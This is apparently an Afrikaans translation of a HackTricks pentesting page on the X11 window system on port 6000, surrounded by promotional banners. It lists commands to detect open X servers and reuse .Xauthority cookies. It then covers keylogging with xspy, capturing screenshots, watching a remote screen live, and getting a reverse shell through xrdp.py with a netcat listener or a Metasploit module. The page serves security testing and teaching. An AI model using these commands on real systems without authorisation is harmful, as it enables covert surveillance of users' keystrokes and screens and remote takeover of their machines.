hacktricks/network-services-pentesting/6000-pentesting-x11.md

192 lines
8.3 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 6000 - Pentesting X11
<details>
<summary><strong>Leer AWS-hacking vanaf nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy jou **maatskappy geadverteer wil sien in HackTricks** of **HackTricks in PDF wil aflaai** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou haktruuks deur PRs in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om te kommunikeer met ervare hackers en foutbeloningsjagters!
**Hacking-insigte**\
Tree in kontak met inhoud wat die opwinding en uitdagings van hack bevat
**Haknuus in Werklikheid**\
Bly op hoogte van die vinnige hackwêreld deur werklike nuus en insigte
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
## Basiese Inligting
**X Window System** (X) is 'n veelsydige venstersisteem wat algemeen voorkom op UNIX-gebaseerde bedryfstelsels. Dit bied 'n raamwerk vir die skep van grafiese **gebruikerskoppelvlakke (GUI's)**, met individuele programme wat die gebruikerskoppelvlakontwerp hanteer. Hierdie buigsaamheid maak verskeie en aanpasbare ervarings binne die X-omgewing moontlik.
**Verstekpoort:** 6000
```
PORT STATE SERVICE
6000/tcp open X11
```
## Opsomming
Kyk vir **anonieme verbinding:**
```bash
nmap -sV --script x11-access -p <PORT> <IP>
msf> use auxiliary/scanner/x11/open_x11
```
#### Plaaslike Opsomming
Die lêer **`.Xauthority`** in die gebruikers se tuisgids word **gebruik** deur **X11 vir magtiging**. Van [**hier**](https://stackoverflow.com/a/37367518):
```bash
$ xxd ~/.Xauthority
00000000: 0100 0006 6d61 6e65 7063 0001 3000 124d ............0..M
00000010: 4954 2d4d 4147 4943 2d43 4f4f 4b49 452d IT-MAGIC-COOKIE-
00000020: 3100 108f 52b9 7ea8 f041 c49b 85d8 8f58 1...R.~..A.....X
00000030: 041d ef ...
```
> MIT-towenaar-koekie-1: Genereer 128-bitsleutel ("koekie"), stoor dit in \~/.Xauthority (of waar XAUTHORITY envvar na wys). Die klient stuur dit onversleuteld na die bediener! Die bediener kontroleer of dit 'n kopie van hierdie "koekie" het en indien wel, word die verbinding toegelaat. Die sleutel word deur DMX gegenereer.
{% hint style="warning" %}
Om die koekie te **gebruik** moet jy die env-var stel: **`export XAUTHORITY=/pad/na/.Xauthority`**
{% endhint %}
#### Plaaslike Opsomming Sessie
```bash
$ w
23:50:48 up 1 day, 10:32, 1 user, load average: 0.29, 6.48, 7.12
USER TTY FROM LOGIN@ IDLE JCPU PCPU WHAT
user tty7 :0 13Oct23 76days 13:37 2.20s xfce4-session
```
In die voorbeeld het `localhost:0` xfce4-session laat loop.
## Bevestig Verbinding
```bash
xdpyinfo -display <ip>:<display>
xwininfo -root -tree -display <IP>:<display> #Ex: xwininfo -root -tree -display 10.5.5.12:0
```
## Sleutelloggin
[xspy](http://tools.kali.org/sniffingspoofing/xspy) om die sleutelbordtoetse te snuif.
Voorbeeld Uitset:
```
xspy 10.9.xx.xx
opened 10.9.xx.xx:0 for snoopng
swaBackSpaceCaps_Lock josephtTabcBackSpaceShift_L workShift_L 2123
qsaminusKP_Down KP_Begin KP_Down KP_Left KP_Insert TabRightLeftRightDeletebTabDownnTabKP_End KP_Right KP_Up KP_Down KP_Up KP_Up TabmtminusdBackSpacewinTab
```
## Skermbeskietings vaslê
```bash
xwd -root -screen -silent -display <TargetIP:0> > screenshot.xwd
convert screenshot.xwd screenshot.png
```
## Afgeleë Lessenaar Aansig
Bron: [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
```
./xrdp.py <IP:0>
```
Weg van: [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
Eerste moet ons die ID van die venster vind deur xwininfo te gebruik
```
xwininfo -root -display 10.9.xx.xx:0
xwininfo: Window id: 0x45 (the root window) (has no name)
Absolute upper-left X: 0
Absolute upper-left Y: 0
Relative upper-left X: 0
Relative upper-left Y: 0
Width: 1024
Height: 768
Depth: 16
Visual: 0x21
Visual Class: TrueColor
Border width: 0
Class: InputOutput
Colormap: 0x20 (installed)
Bit Gravity State: ForgetGravity
Window Gravity State: NorthWestGravity
Backing Store State: NotUseful
Save Under State: no
Map State: IsViewable
Override Redirect State: no
Corners: +0+0 -0+0 -0-0 +0-0
-geometry 1024x768+0+0
```
**XWatchwin**
Vir **lewende vertoning** moet ons gebruik
```bash
./xwatchwin [-v] [-u UpdateTime] DisplayName { -w windowID | WindowName } -w window Id is the one found on xwininfo
./xwatchwin 10.9.xx.xx:0 -w 0x45
```
## Kry Skul
```
msf> use exploit/unix/x11/x11_keyboard_exec
```
Ander manier:
**Omgekeerde Dop:** Xrdp laat ook toe om 'n omgekeerde dop te neem via Netcat. Tik die volgende bevel in:
```bash
./xrdp.py \<IP:0> no-disp
```
In die koppelvlak kan jy die **R-shell opsie** sien.
Begin dan 'n **Netcat luisteraar** op jou plaaslike stelsel op poort 5555.
```bash
nc -lvp 5555
```
Dan, sit jou IP-adres en poort in die **R-Shell** opsie en klik op **R-shell** om 'n skaal te kry
## Verwysings
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
* [https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html](https://bitvijays.github.io/LFF-IPS-P2-VulnerabilityAnalysis.html)
* [https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref](https://resources.infosecinstitute.com/exploiting-x11-unauthenticated-access/#gref)
## Shodan
* `port:6000 x11`
<figure><img src="../.gitbook/assets/image (377).png" alt=""><figcaption></figcaption></figure>
Sluit aan by [**HackenProof Discord**](https://discord.com/invite/N3FrSbmwdy) bediener om met ervare hackers en foutbeloningsjagters te kommunikeer!
**Hack-insigte**\
Gaan in gesprek met inhoud wat die opwinding en uitdagings van hack bevat
**Hack Nuus in Werklikheid**\
Bly op hoogte van die snelveranderende hackwêreld deur middel van nuus en insigte in werklikheid
**Nuutste Aankondigings**\
Bly ingelig met die nuutste foutbelonings wat bekendgestel word en belangrike platformopdaterings
**Sluit by ons aan op** [**Discord**](https://discord.com/invite/N3FrSbmwdy) en begin vandag saamwerk met top hackers!
<details>
<summary><strong>Leer AWS-hacking van nul tot held met</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
Ander maniere om HackTricks te ondersteun:
* As jy wil sien dat jou **maatskappy geadverteer word in HackTricks** of **HackTricks aflaai in PDF-formaat** Kyk na die [**INSKRYWINGSPLANNE**](https://github.com/sponsors/carlospolop)!
* Kry die [**amptelike PEASS & HackTricks swag**](https://peass.creator-spring.com)
* Ontdek [**Die PEASS Familie**](https://opensea.io/collection/the-peass-family), ons versameling eksklusiewe [**NFTs**](https://opensea.io/collection/the-peass-family)
* **Sluit aan by die** 💬 [**Discord-groep**](https://discord.gg/hRep4RUj7f) of die [**telegram-groep**](https://t.me/peass) of **volg** ons op **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Deel jou hacktruuks deur PR's in te dien by die** [**HackTricks**](https://github.com/carlospolop/hacktricks) en [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github-opslag.
</details>